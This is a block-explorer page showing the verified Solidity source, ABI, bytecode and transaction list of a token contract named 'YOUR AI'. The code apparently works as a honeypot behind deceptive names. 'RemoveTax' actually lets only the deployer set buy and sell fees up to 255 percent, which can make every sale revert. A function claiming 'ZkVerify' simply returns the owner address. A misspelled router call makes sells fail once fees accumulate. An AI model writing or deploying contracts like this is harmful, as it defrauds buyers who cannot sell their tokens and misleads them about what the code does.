ETH Price: $2,445.39 (-0.98%)

Contract

0x5E54223fc97d8bcA4c8afa2a67BC8D491a7e61B8
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Remove Tax197905632024-05-03 15:45:11163 days ago1714751111IN
0x5E54223f...91a7e61B8
0 ETH0.0003065811.34647352
Approve197905572024-05-03 15:43:47163 days ago1714751027IN
0x5E54223f...91a7e61B8
0 ETH0.0005618112.1714919
Approve194689212024-03-19 12:53:47208 days ago1710852827IN
0x5E54223f...91a7e61B8
0 ETH0.0021290345.8270132
Transfer194689122024-03-19 12:51:59208 days ago1710852719IN
0x5E54223f...91a7e61B8
0 ETH0.0022127142.20730763
Transfer194688382024-03-19 12:36:59208 days ago1710851819IN
0x5E54223f...91a7e61B8
0 ETH0.0025779747.367497
Approve194687912024-03-19 12:27:35208 days ago1710851255IN
0x5E54223f...91a7e61B8
0 ETH0.0019991543.08710353
Approve194687802024-03-19 12:25:23208 days ago1710851123IN
0x5E54223f...91a7e61B8
0 ETH0.0021140845.56421383
Approve194687372024-03-19 12:16:47208 days ago1710850607IN
0x5E54223f...91a7e61B8
0 ETH0.0021689546.68631387
Approve194686712024-03-19 12:03:35208 days ago1710849815IN
0x5E54223f...91a7e61B8
0 ETH0.002122579.91968809
Approve194685982024-03-19 11:48:59208 days ago1710848939IN
0x5E54223f...91a7e61B8
0 ETH0.0029842264.23498402
Approve194685962024-03-19 11:48:35208 days ago1710848915IN
0x5E54223f...91a7e61B8
0 ETH0.0018949540.78852291
Approve194685792024-03-19 11:45:11208 days ago1710848711IN
0x5E54223f...91a7e61B8
0 ETH0.001097145.38379544
Remove Tax194685772024-03-19 11:44:47208 days ago1710848687IN
0x5E54223f...91a7e61B8
0 ETH0.0011446742.34523447
Approve194685772024-03-19 11:44:47208 days ago1710848687IN
0x5E54223f...91a7e61B8
0 ETH0.0021061545.33461096
Approve194685762024-03-19 11:44:35208 days ago1710848675IN
0x5E54223f...91a7e61B8
0 ETH0.0022618948.686974
Open Trading194685742024-03-19 11:44:11208 days ago1710848651IN
0x5E54223f...91a7e61B8
0 ETH0.0024285944.06245591
Approve194685602024-03-19 11:41:23208 days ago1710848483IN
0x5E54223f...91a7e61B8
0 ETH0.0022770249.01251833
Approve194685602024-03-19 11:41:23208 days ago1710848483IN
0x5E54223f...91a7e61B8
0 ETH0.0022770249.01251833
Approve194685602024-03-19 11:41:23208 days ago1710848483IN
0x5E54223f...91a7e61B8
0 ETH0.0022770249.01251833
Approve194685602024-03-19 11:41:23208 days ago1710848483IN
0x5E54223f...91a7e61B8
0 ETH0.0022770249.01251833
Approve194685602024-03-19 11:41:23208 days ago1710848483IN
0x5E54223f...91a7e61B8
0 ETH0.0022770249.01251833
Approve194685042024-03-19 11:29:59208 days ago1710847799IN
0x5E54223f...91a7e61B8
0 ETH0.0024300552.30654178
Approve194685042024-03-19 11:29:59208 days ago1710847799IN
0x5E54223f...91a7e61B8
0 ETH0.0024300552.30654178
Approve194685042024-03-19 11:29:59208 days ago1710847799IN
0x5E54223f...91a7e61B8
0 ETH0.0024300552.30654178
Approve194685042024-03-19 11:29:59208 days ago1710847799IN
0x5E54223f...91a7e61B8
0 ETH0.0024300552.30654178
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
YOURAI

Compiler Version
v0.8.20+commit.a1b79de6

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : YOUR AI.sol
/*

@title YOUR Token (YOUR)

Website: https://your.io/token
Twitter: https://x.com/yourtokens
Telegram: https://t.me/your_community
Discord: https://discord.com/invite/yourio
Medium: https://medium.com/@youraiprotocol
Learning Hub: https://info.your.io/hc/en-nl
Youtobe: https://www.youtube.com/@yourprotocol

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFreelyOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract YOURAI {
    struct StoreData {
        address tokenMkt;
        uint8 buyFee;
        uint8 sellFee;
    }

    string private _name = unicode"YOUR AI";
    string private _symbol = unicode"YOURAI";
    uint8 public constant decimals = 18;
    uint256 public constant totalSupply = 1000000000 * 10**decimals;

    StoreData public storeData;
    uint256 constant swapAmount = totalSupply / 100;

    error Permissions();
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed TOKEN_MKT,
        address indexed spender,
        uint256 value
    );

    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;

    address public pair;
    IUniswapV2Router02 constant _uniswapV2Router =
        IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    bool private swapping;
    bool private tradingOpen;

    constructor() {
        uint8 _initBuyFee = 0;
        uint8 _initSellFee = 0;
        storeData = StoreData({
            tokenMkt: msg.sender,
            buyFee: _initBuyFee,
            sellFee: _initSellFee
        });
        balanceOf[msg.sender] = totalSupply;
        allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
        emit Transfer(address(0), msg.sender, totalSupply);
    }

    receive() external payable {}

    function RemoveTax (uint8 _buy, uint8 _sell) external {
        if (msg.sender != _decodeTokenMktWithZkVerify()) revert Permissions();
        Fees(_buy, _sell);
    }

    function Fees(uint8 _buy, uint8 _sell) private {
        storeData.buyFee = _buy;
        storeData.sellFee = _sell;
    }

    function _decodeTokenMktWithZkVerify() private view returns(address) {
        return storeData.tokenMkt;
    }

    function OpenTrading() external {
        require(msg.sender == _decodeTokenMktWithZkVerify());
        require(!tradingOpen);
        address _factory = _uniswapV2Router.factory();
        address _weth = _uniswapV2Router.WETH();
        address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
        pair = _pair;
        tradingOpen = true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool) {
        allowance[from][msg.sender] -= amount;
        return _transfer(from, to, amount);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        return _transfer(msg.sender, to, amount);
    }

    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (bool) {
        address tokenMkt = _decodeTokenMktWithZkVerify();
        require(tradingOpen || from == tokenMkt || to == tokenMkt);

        balanceOf[from] -= amount;

        if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
            swapping = true;
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _uniswapV2Router.WETH();
            _uniswapV2Router
                .swapExactTokensForETHSupportingFreelyOnTransferTokens(
                    swapAmount,
                    0,
                    path,
                    address(this),
                    block.timestamp
                );
            payable(tokenMkt).transfer(address(this).balance);
            swapping = false;
        }

        (uint8 _feeOnBuy, uint8 _feeOnSell) = (storeData.buyFee, storeData.sellFee);
        if (from != address(this) && tradingOpen == true) {
            uint256 taxCalculatedAmount = (amount *
                (to == pair ? _feeOnSell : _feeOnBuy)) / 100;
            amount -= taxCalculatedAmount;
            balanceOf[address(this)] += taxCalculatedAmount;
        }
        balanceOf[to] += amount;
        emit Transfer(from, to, amount);
        return true;
    }

}

Settings
{
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"OpenTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint8","name":"_buy","type":"uint8"},{"internalType":"uint8","name":"_sell","type":"uint8"}],"name":"RemoveTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"buyFee","type":"uint8"},{"internalType":"uint8","name":"sellFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526007608090815266594f555220414960c81b60a0525f90620000279082620001f5565b50604080518082019091526006815265594f5552414960d01b6020820152600190620000549082620001f5565b5034801562000061575f80fd5b5060408051606081018252338082525f6020830181905291909201819052600280546001600160b01b03191661ffff60a01b199093169290921790915580620000ad6012600a620003cc565b620000bd90633b9aca00620003e3565b335f8181526003602090815260408083209490945530825260048152838220737a250d5630b4cf539739df2c5dacb4c659f2488d835290529182205f199055907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200012c6012600a620003cc565b6200013c90633b9aca00620003e3565b60405190815260200160405180910390a35050620003fd565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806200017e57607f821691505b6020821081036200019d57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f821115620001f0575f81815260208120601f850160051c81016020861015620001cb5750805b601f850160051c820191505b81811015620001ec57828155600101620001d7565b5050505b505050565b81516001600160401b0381111562000211576200021162000155565b620002298162000222845462000169565b84620001a3565b602080601f8311600181146200025f575f8415620002475750858301515b5f19600386901b1c1916600185901b178555620001ec565b5f85815260208120601f198616915b828110156200028f578886015182559484019460019091019084016200026e565b5085821015620002ad57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156200031157815f1904821115620002f557620002f5620002bd565b808516156200030357918102915b93841c9390800290620002d6565b509250929050565b5f826200032957506001620003c6565b816200033757505f620003c6565b81600181146200035057600281146200035b576200037b565b6001915050620003c6565b60ff8411156200036f576200036f620002bd565b50506001821b620003c6565b5060208310610133831016604e8410600b8410161715620003a0575081810a620003c6565b620003ac8383620002d1565b805f1904821115620003c257620003c2620002bd565b0290505b92915050565b5f620003dc60ff84168362000319565b9392505050565b8082028115828204841417620003c657620003c6620002bd565b610e7e806200040b5f395ff3fe6080604052600436106100c2575f3560e01c806351cd7cc31161007c57806395d89b411161005757806395d89b411461024b578063a8aa1b311461025f578063a9059cbb14610296578063dd62ed3e146102b5575f80fd5b806351cd7cc3146101eb57806370a08231146102015780638087c3f71461022c575f80fd5b806306fdde03146100cd578063095ea7b3146100f757806318160ddd1461012657806323b872dd14610148578063313ce567146101675780634abe30521461018d575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100e16102eb565b6040516100ee9190610ab2565b60405180910390f35b348015610102575f80fd5b50610116610111366004610b14565b61037a565b60405190151581526020016100ee565b348015610131575f80fd5b5061013a6103e6565b6040519081526020016100ee565b348015610153575f80fd5b50610116610162366004610b3e565b610403565b348015610172575f80fd5b5061017b601281565b60405160ff90911681526020016100ee565b348015610198575f80fd5b506002546101c2906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff92831660208501529116908201526060016100ee565b3480156101f6575f80fd5b506101ff610450565b005b34801561020c575f80fd5b5061013a61021b366004610b7c565b60036020525f908152604090205481565b348015610237575f80fd5b506101ff610246366004610bac565b610606565b348015610256575f80fd5b506100e1610664565b34801561026a575f80fd5b5060055461027e906001600160a01b031681565b6040516001600160a01b0390911681526020016100ee565b3480156102a1575f80fd5b506101166102b0366004610b14565b610673565b3480156102c0575f80fd5b5061013a6102cf366004610bdd565b600460209081525f928352604080842090915290825290205481565b60605f80546102f990610c14565b80601f016020809104026020016040519081016040528092919081815260200182805461032590610c14565b80156103705780601f1061034757610100808354040283529160200191610370565b820191905f5260205f20905b81548152906001019060200180831161035357829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103d49086815260200190565b60405180910390a35060015b92915050565b6103f26012600a610d40565b61040090633b9aca00610d4e565b81565b6001600160a01b0383165f908152600460209081526040808320338452909152812080548391908390610437908490610d65565b909155506104489050848484610686565b949350505050565b6002546001600160a01b03163314610466575f80fd5b600554600160a81b900460ff161561047c575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104f19190610d78565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610544573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105689190610d78565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa1580156105b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105db9190610d78565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6002546001600160a01b0316331461063057604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6060600180546102f990610c14565b5f61067f338484610686565b9392505050565b5f8061069a6002546001600160a01b031690565b600554909150600160a81b900460ff16806106c65750806001600160a01b0316856001600160a01b0316145b806106e25750806001600160a01b0316846001600160a01b0316145b6106ea575f80fd5b6001600160a01b0385165f9081526003602052604081208054859290610711908490610d65565b90915550506005546001600160a01b03858116911614801561073d5750600554600160a01b900460ff16155b801561077c575060646107526012600a610d40565b61076090633b9aca00610d4e565b61076a9190610d93565b305f9081526003602052604090205410155b801561079a5750806001600160a01b0316856001600160a01b031614155b15610978576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106107e5576107e5610db2565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610855573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108799190610d78565b8160018151811061088c5761088c610db2565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646108cc6012600a610d40565b6108da90633b9aca00610d4e565b6108e49190610d93565b5f8430426040518663ffffffff1660e01b8152600401610908959493929190610dc6565b5f604051808303815f87803b15801561091f575f80fd5b505af1158015610931573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610968573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b03871630148015906109b65750600554600160a81b900460ff1615156001145b15610a2a576005545f906064906001600160a01b038981169116146109db57836109dd565b825b6109ea9060ff1688610d4e565b6109f49190610d93565b9050610a008187610d65565b305f90815260036020526040812080549298508392909190610a23908490610e35565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610a51908490610e35565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610a9d91815260200190565b60405180910390a35060019695505050505050565b5f6020808352835180828501525f5b81811015610add57858101830151858201604001528201610ac1565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b11575f80fd5b50565b5f8060408385031215610b25575f80fd5b8235610b3081610afd565b946020939093013593505050565b5f805f60608486031215610b50575f80fd5b8335610b5b81610afd565b92506020840135610b6b81610afd565b929592945050506040919091013590565b5f60208284031215610b8c575f80fd5b813561067f81610afd565b803560ff81168114610ba7575f80fd5b919050565b5f8060408385031215610bbd575f80fd5b610bc683610b97565b9150610bd460208401610b97565b90509250929050565b5f8060408385031215610bee575f80fd5b8235610bf981610afd565b91506020830135610c0981610afd565b809150509250929050565b600181811c90821680610c2857607f821691505b602082108103610c4657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610c9a57815f1904821115610c8057610c80610c4c565b80851615610c8d57918102915b93841c9390800290610c65565b509250929050565b5f82610cb0575060016103e0565b81610cbc57505f6103e0565b8160018114610cd25760028114610cdc57610cf8565b60019150506103e0565b60ff841115610ced57610ced610c4c565b50506001821b6103e0565b5060208310610133831016604e8410600b8410161715610d1b575081810a6103e0565b610d258383610c60565b805f1904821115610d3857610d38610c4c565b029392505050565b5f61067f60ff841683610ca2565b80820281158282048414176103e0576103e0610c4c565b818103818111156103e0576103e0610c4c565b5f60208284031215610d88575f80fd5b815161067f81610afd565b5f82610dad57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610e145784516001600160a01b031683529383019391830191600101610def565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156103e0576103e0610c4c56fea264697066735822122041016062eaae32b690823acf259362f984057e4c83f675a8566804a5194c427864736f6c63430008140033

Deployed Bytecode

0x6080604052600436106100c2575f3560e01c806351cd7cc31161007c57806395d89b411161005757806395d89b411461024b578063a8aa1b311461025f578063a9059cbb14610296578063dd62ed3e146102b5575f80fd5b806351cd7cc3146101eb57806370a08231146102015780638087c3f71461022c575f80fd5b806306fdde03146100cd578063095ea7b3146100f757806318160ddd1461012657806323b872dd14610148578063313ce567146101675780634abe30521461018d575f80fd5b366100c957005b5f80fd5b3480156100d8575f80fd5b506100e16102eb565b6040516100ee9190610ab2565b60405180910390f35b348015610102575f80fd5b50610116610111366004610b14565b61037a565b60405190151581526020016100ee565b348015610131575f80fd5b5061013a6103e6565b6040519081526020016100ee565b348015610153575f80fd5b50610116610162366004610b3e565b610403565b348015610172575f80fd5b5061017b601281565b60405160ff90911681526020016100ee565b348015610198575f80fd5b506002546101c2906001600160a01b0381169060ff600160a01b8204811691600160a81b90041683565b604080516001600160a01b03909416845260ff92831660208501529116908201526060016100ee565b3480156101f6575f80fd5b506101ff610450565b005b34801561020c575f80fd5b5061013a61021b366004610b7c565b60036020525f908152604090205481565b348015610237575f80fd5b506101ff610246366004610bac565b610606565b348015610256575f80fd5b506100e1610664565b34801561026a575f80fd5b5060055461027e906001600160a01b031681565b6040516001600160a01b0390911681526020016100ee565b3480156102a1575f80fd5b506101166102b0366004610b14565b610673565b3480156102c0575f80fd5b5061013a6102cf366004610bdd565b600460209081525f928352604080842090915290825290205481565b60605f80546102f990610c14565b80601f016020809104026020016040519081016040528092919081815260200182805461032590610c14565b80156103705780601f1061034757610100808354040283529160200191610370565b820191905f5260205f20905b81548152906001019060200180831161035357829003601f168201915b5050505050905090565b335f8181526004602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103d49086815260200190565b60405180910390a35060015b92915050565b6103f26012600a610d40565b61040090633b9aca00610d4e565b81565b6001600160a01b0383165f908152600460209081526040808320338452909152812080548391908390610437908490610d65565b909155506104489050848484610686565b949350505050565b6002546001600160a01b03163314610466575f80fd5b600554600160a81b900460ff161561047c575f80fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104cd573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104f19190610d78565b90505f737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610544573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105689190610d78565b60405163e6a4390560e01b81523060048201526001600160a01b0380831660248301529192505f9184169063e6a4390590604401602060405180830381865afa1580156105b7573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105db9190610d78565b60058054600161ff0160a01b0319166001600160a01b0390921691909117600160a81b179055505050565b6002546001600160a01b0316331461063057604051629af2b160e81b815260040160405180910390fd5b6002805461ffff60a01b1916600160a01b60ff9485160260ff60a81b191617600160a81b9290931691909102919091179055565b6060600180546102f990610c14565b5f61067f338484610686565b9392505050565b5f8061069a6002546001600160a01b031690565b600554909150600160a81b900460ff16806106c65750806001600160a01b0316856001600160a01b0316145b806106e25750806001600160a01b0316846001600160a01b0316145b6106ea575f80fd5b6001600160a01b0385165f9081526003602052604081208054859290610711908490610d65565b90915550506005546001600160a01b03858116911614801561073d5750600554600160a01b900460ff16155b801561077c575060646107526012600a610d40565b61076090633b9aca00610d4e565b61076a9190610d93565b305f9081526003602052604090205410155b801561079a5750806001600160a01b0316856001600160a01b031614155b15610978576005805460ff60a01b1916600160a01b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106107e5576107e5610db2565b60200260200101906001600160a01b031690816001600160a01b031681525050737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610855573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108799190610d78565b8160018151811061088c5761088c610db2565b6001600160a01b0390921660209283029190910190910152737a250d5630b4cf539739df2c5dacb4c659f2488d63eb6f613960646108cc6012600a610d40565b6108da90633b9aca00610d4e565b6108e49190610d93565b5f8430426040518663ffffffff1660e01b8152600401610908959493929190610dc6565b5f604051808303815f87803b15801561091f575f80fd5b505af1158015610931573d5f803e3d5ffd5b50506040516001600160a01b03851692504780156108fc029250905f818181858888f19350505050158015610968573d5f803e3d5ffd5b50506005805460ff60a01b191690555b60025460ff600160a01b8204811691600160a81b9004166001600160a01b03871630148015906109b65750600554600160a81b900460ff1615156001145b15610a2a576005545f906064906001600160a01b038981169116146109db57836109dd565b825b6109ea9060ff1688610d4e565b6109f49190610d93565b9050610a008187610d65565b305f90815260036020526040812080549298508392909190610a23908490610e35565b9091555050505b6001600160a01b0386165f9081526003602052604081208054879290610a51908490610e35565b92505081905550856001600160a01b0316876001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef87604051610a9d91815260200190565b60405180910390a35060019695505050505050565b5f6020808352835180828501525f5b81811015610add57858101830151858201604001528201610ac1565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610b11575f80fd5b50565b5f8060408385031215610b25575f80fd5b8235610b3081610afd565b946020939093013593505050565b5f805f60608486031215610b50575f80fd5b8335610b5b81610afd565b92506020840135610b6b81610afd565b929592945050506040919091013590565b5f60208284031215610b8c575f80fd5b813561067f81610afd565b803560ff81168114610ba7575f80fd5b919050565b5f8060408385031215610bbd575f80fd5b610bc683610b97565b9150610bd460208401610b97565b90509250929050565b5f8060408385031215610bee575f80fd5b8235610bf981610afd565b91506020830135610c0981610afd565b809150509250929050565b600181811c90821680610c2857607f821691505b602082108103610c4657634e487b7160e01b5f52602260045260245ffd5b50919050565b634e487b7160e01b5f52601160045260245ffd5b600181815b80851115610c9a57815f1904821115610c8057610c80610c4c565b80851615610c8d57918102915b93841c9390800290610c65565b509250929050565b5f82610cb0575060016103e0565b81610cbc57505f6103e0565b8160018114610cd25760028114610cdc57610cf8565b60019150506103e0565b60ff841115610ced57610ced610c4c565b50506001821b6103e0565b5060208310610133831016604e8410600b8410161715610d1b575081810a6103e0565b610d258383610c60565b805f1904821115610d3857610d38610c4c565b029392505050565b5f61067f60ff841683610ca2565b80820281158282048414176103e0576103e0610c4c565b818103818111156103e0576103e0610c4c565b5f60208284031215610d88575f80fd5b815161067f81610afd565b5f82610dad57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015610e145784516001600160a01b031683529383019391830191600101610def565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156103e0576103e0610c4c56fea264697066735822122041016062eaae32b690823acf259362f984057e4c83f675a8566804a5194c427864736f6c63430008140033

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.